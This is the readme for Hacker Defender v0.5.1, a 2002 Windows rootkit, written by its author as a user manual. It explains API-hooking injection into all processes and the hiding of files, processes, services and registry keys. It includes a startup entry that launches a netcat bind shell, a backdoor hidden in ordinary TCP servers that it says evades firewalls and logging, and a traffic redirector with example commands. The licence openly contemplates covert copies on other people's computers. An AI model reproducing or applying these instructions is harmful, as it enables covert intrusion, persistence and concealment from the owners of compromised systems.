by Holy_Father
Written in Delphi & Assembly
Released in november 2002
Made in Czechoslovakia
Hacker defender v0.5.1
======================
Hacker defender is rootkit for Windows NT 4.0, Windows 2000 and Windows XP.
Main code was written in Delphi 6. Functions for new thread are written
in assembler. Backdoor and redirector clients are coded mostly in Delphi 6.
program uses adapted LDE32
LDE32, Length-Disassembler Engine, 32-bit, (x) 1999-2000 Z0MBiE
special edition for REVERT tool
version 1.05
program uses Superfast/Supertiny Compression/Encryption library
Superfast/Supertiny Compression/Encryption library.
(c) 1998 by Jacky Qwerty/29A.
Usage
-----
>hxdef051.exe [inifile]
or
>hxdef051.exe [switch]
Default EXENAME.ini where EXENAME is the name of executable of main
program without extension is used if run without specifying the inifile or
if run with switch (so default inifile is hxdef051.ini).
These switches are available:
-:refresh - use to update settings from inifile
-:noservice - doesn't install services and run normally
-:installonly - only install service, but not run
Example:
>hxdef051.exe -:refresh
Idea
----
The Main idea of this program was to use some API functions e.g.
WriteProcessMemory and CreateRemoteThread to create a new thread in all
running processes. New thread will rewrite some functions in system modules
(mostly kernel32.dll and advapi32.dll) and inject fake code which will check
API results and change this result in specific cases.
Program must be absolutely hidden for all others. Now the user is able
to hide files, process, system services, registry keys. Program installs hidden
backdoors and register as hidden system service. The technology of backdoor
allowed to do the implantation of redirector.
Licence
-------
Till version 1.0.0 it is freeware. It can be spread but not changed
and all copies must includes all files (including original readme files).
Only exception is when target person (and computer owner) wouldn't know about
the copy.
This project will be open source in version 1.0.0.
Version
-------
TODO - file manager based on backdoor technology
- unify backdooru, redirector and file manager in one program
- hide symbolic link objects
? running root process on system level
0.5.1 + never more hooking WSOCK
x fixed bug with MSTS
0.5.0 + low level redir based on backdoor technique
+ password protection
+ name of inifile depends on exefile name
+ backdoor stability improved
- redirectors conection speed is limited about 256 kBps,
imperfect implementation of redirector,
imperfect design of redirector
- found chance to detect rootkit with symbolic link objects
- found bug in connection with MS Termnial Services
- found bug in hidding files in 16-bit applications
x found and fixed bug in services enumeration
x found and fixed bug in hooking servers
0.3.7 + possibility to change settings during running
+ wildcard in names of hidden files, process and services
+ possibility to add programs to rootkit startup
x fixed bug in hidding services on Windows NT 4.0
0.3.3 + stability realy improved
x fixed all bugs for Windows XP
x found and fixed bug in hiding in registry
x found and fixed bug in backdoor with more clients
0.3.0 + connectivity, stability and functionality of backdoor improved
+ backdoor shell runs always on system level
+ backdoor shell is hidden
+ registry keys hiding
x found and fixed bug in root processes
- bug in XP after reboot
0.2.6 x fixed bug in backdoor
0.2.5 + fully interactive console
+ backdoor identification key is now only 256 bits long
+ improved backdoor installation
- bug in backdoor
0.2.1 + always run as service
0.2.0 + system service installation
+ hiding in database of installed services
+ hidden backdoor
+ no more working with windows
0.1.1 + hidden in tasklist
+ usage - possibility to specify name of inifile
x found and then fixed bug in communication
x fixed bug in using advapi
- found bug with debuggers
0.1.0 + infection of system services
+ smaller, tidier, faster code, more stable program
x fixed bug in communication
0.0.8 + hiding files
+ infection of new processes
- can't infect system services
- bug in communication
Hooked API
----------
List of API functions which are changed:
Kernel32.FindFirstFileExW
Kernel32.FindNextFileW
Kernel32.CreateProcessW
Kernel32.CreateProcessInternalW
Ntdll.NtQuerySystemInformation (class 5)
WS2_32.recv
WS2_32.WSARecv
Kernel32.ReadFile
Advapi32.EnumServiceGroupW
Advapi32.EnumServicesStatusA
Advapi32.EnumServicesStatusExW
Advapi32.EnumServicesStatusExA
Advapi32.RegEnumKeyW
Advapi32.RegEnumKeyA
Advapi32.RegEnumKeyExW
Advapi32.RegEnumKeyExA
Inifile
-------
Again, there are more settings in this version. Inifile must contain
six parts: [Hidden Table], [Root Processes], [Hidden Services], [Hidden
RegKeys], [Startup Run], [Password]. In [Hidden Table], [Root Processes]
and [Hidden Services] can used character * as the wildcard in place of strings
end. Asterisk can be used only on strings end, everything after first asterisks
is ignored.
Example:
[Hidden Table]
hxdef*
this will hide all files, sdir and processes which name start with "hxdef".
Hidden Table is a list of files and directories which should be hidden.
There is no chance to find those files and directories. Programs in this list
will be hidden in tasklist.
Root Processes is a list of programs which will be immune against
infection. You can see hidden files, directories and programs only with these
root programs. So, root processes are for rootkit admins.
Hidden Services is a list of service names which will be hidden
in the database of installed services. Service name for the main rootkit
program is HackerDefender051.
Hidden RegKeys is a list of registry keys which will be hidden. Rootkit
has two keys in registry: HackerDefender051 and LEGACY_HACKERDEFENDER051.
Startup Run is a list of programs which rootkit run after its startup.
These programs will have same rights as rootkit. Program name is divided from
its arguments with question tag. Do not use " characters.
Example:
[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe
netcat-shell is run after rootkit startup and listens on port 100
Password is 16 character string which is used when working with
backdoor or redirector. Password can be shorter, rest is filled with spaces.
Backdoor
--------
Rootkit hooks some API functions connected with receiving packets
from the net. If incoming data equals to 256 bits long key, password
and service are verified, the copy of a shell named "~ �@�.exe" is created in
a temp, its instance is created and next incoming data are redirected to this
shell.
Because rootkit hooks all process in the system all TCP ports on all
servers will be backdoors. This backdoor will work only on servers where
incoming buffer is larger or equal to 256 bits. But this feature is on almost
all standard servers like Apache, IIS, Oracle. So, backdoor is created and it
is hidden because its packets go through common servers on the system. So, you
are not able to find it with classic portscanner and this backdoor can easily
go through firewall. Exception in this are classic proxies which are protocol
oriented for e.g. FTP or HTTP.
During tests on IIS services was found that HTTP server does not log
any of this connection, FTP and SMTP servers log only disconnection at the end.
You have to use special client if want to connect to the backdoor.
Program bdcli051.exe is used for this.
usage: bdcli051.exe host port
Client for version 0.5.1 is not compatible with servers in older
version than 0.5.0.
Redirector
----------
Redirector is based on backdoor technology. First connection packets
are same as in backdoor connection. Next packets are special packets for
redirector only. These packets are made by redirectors base which is run
on users computer. First packet of redirected connection defines target server
and port.
The redirectors base saves its settings into its inifile which name
depends on base exefile name (so default is rdrbs051.ini). If this file doesn't
exist when base is run, it is created automatically. It is better not to modify
this inifile externaly. All settings can be changed from base console.
If we want to use redirector on server where rootkit is installed,
we have to run redirectors base on localhost before. Then in base console we
have to create mapped port routed to server with rootkit. Finally we can
connect on localhost base on chosen port and transfering data. Redirected data
are coded with rootkit password. In this version connection speed is limited
with about 2156 kBps. Redirector is not determined to be used for hispeed
connections. Redirector is also limited with system where rootkit run.
Redirector works with TCP protocol.
In this version the base is controled with 19 commands. These are not
case sensitive. Their function is described in HELP command. During the base
startup are executed commands in startup-list. Startup-list commands are edited
with commands which start with SU.
Redirector differentiate between two connection types (HTTP and other).
If connection is other type packets are not changed. If it is HTTP type Host
parametr in HTTP header is changed to the target server. Maximum redirectors
count on one base is 1000.
Redirector base fully works only on NT boxes. Only on NT program has
tray icon and you can hide console with HIDE command. Only on NT base can be
run in silent mode where it has no output, no icon and it does only commands
in startup-list.
Examples:
1) getting mapped port info
>MPINFO
No mapped ports in the list.
2) add command MPINFO to startup-list and get startup-list commands:
>SUADD MPINFO
>sulist
0) MPINFO
3) using of HELP command:
>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET
SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]
4) add mapped port, we want to listen on localhost on port 100, rootkit
is installed on server 200.100.2.36 on port 80, target server is www.google.com
on port 80, rootkits password is bIgpWd, connection type is HTTP, ip address
of target server (www.google.com) - we always have to know its ip - is
216.239.53.100:
>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com
command ADD can be run without parameters, in this case we are asked for every
parameter separately
5) now we can check mapped ports again with MPINFO:
>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.
6) enumeration of mapped port list:
>LIST
000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7) datailed description of one mapped port:
>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: www.google.com
Current state: CLOSED
8) we can test whether the rootkit is installed with out password on mapping
server 200.100.2.36 (but this is not needed if we are sure about it):
>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK
if test failed it returns
Testing 0) 200.100.2.36:80:bIgpWd - FAILED
9) port is still closed and before we can use it, we have to open it with OPEN
command, we can close port with CLOSE command when it is open, we can use flag
ALL when want to apply these commands on all ports in the list, current state
after required action is written after a while:
>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.
or
>OPEN ALL
Port number 0 opened.
10) to save current settings and lists we can use SAVE command, this saves
all to inifile (saving is also done by command EXIT without DIS flag):
>SAVE
Saved successfully.
Open port is all what we need for data transfer. Now you can open your
favourite explorer and type http://localhost:100/ as url. If no problems you
will see how main page on www.google.com is loaded.
First packets of connection can be delayed up to 5 seconds, but others
are limited only by speed of server, your internet connection speed and by
redirector technology which is about 256 kBps in this version.
Tests
-----
Basic installation was tested without others bugs on:
MS Windows XP [Verze 5.1.2600],
MS Windows 2000 5.00.2195 SP2,
MS Windows NT 4.0 SP6
Backdoor and redirector runs perfectly on:
MS Windows XP [Verze 5.1.2600] with IIS 5.1 WWW, FTP, SMTP
MS Windows 2000 5.00.2195 SP2 with IIS 5.0 WWW, FTP, SMTP - 100%
MS Windows NT 4.0 SP6 with IIS 3.0 WWW
Redirectors base works perfectly only on NT boxes.
Known Bugs
----------
At least two bugz are in this version.
1) Processes, which are debugged at the moment, can't be infect, because
their debugger has exclusive rights for them. The infection will lose if the
process is debugged during infection. So, it will not be changed and see
everything. I think this is not a serious bug, because there is only small
chance to apply this. I need help with solving this problem. It is not serious,
but i have no idea how to fix it.
2) There is a chance to detect rootkit with symbol link objects.
Files
-----
original archive contains these files:
hxdef051.exe 51 200 b - program Hacker defender v0.5.1
hxdef051.ini 1 200 b - inifile with default settings
bdcli051.exe 30 208 b - backdoor client
rdrbs051.exe 48 640 b - redirectors base
readmecz.txt 14 961 b - czech version of help file
readmeen.txt 14 783 b - this help file
Holy_Father
MegaSecurity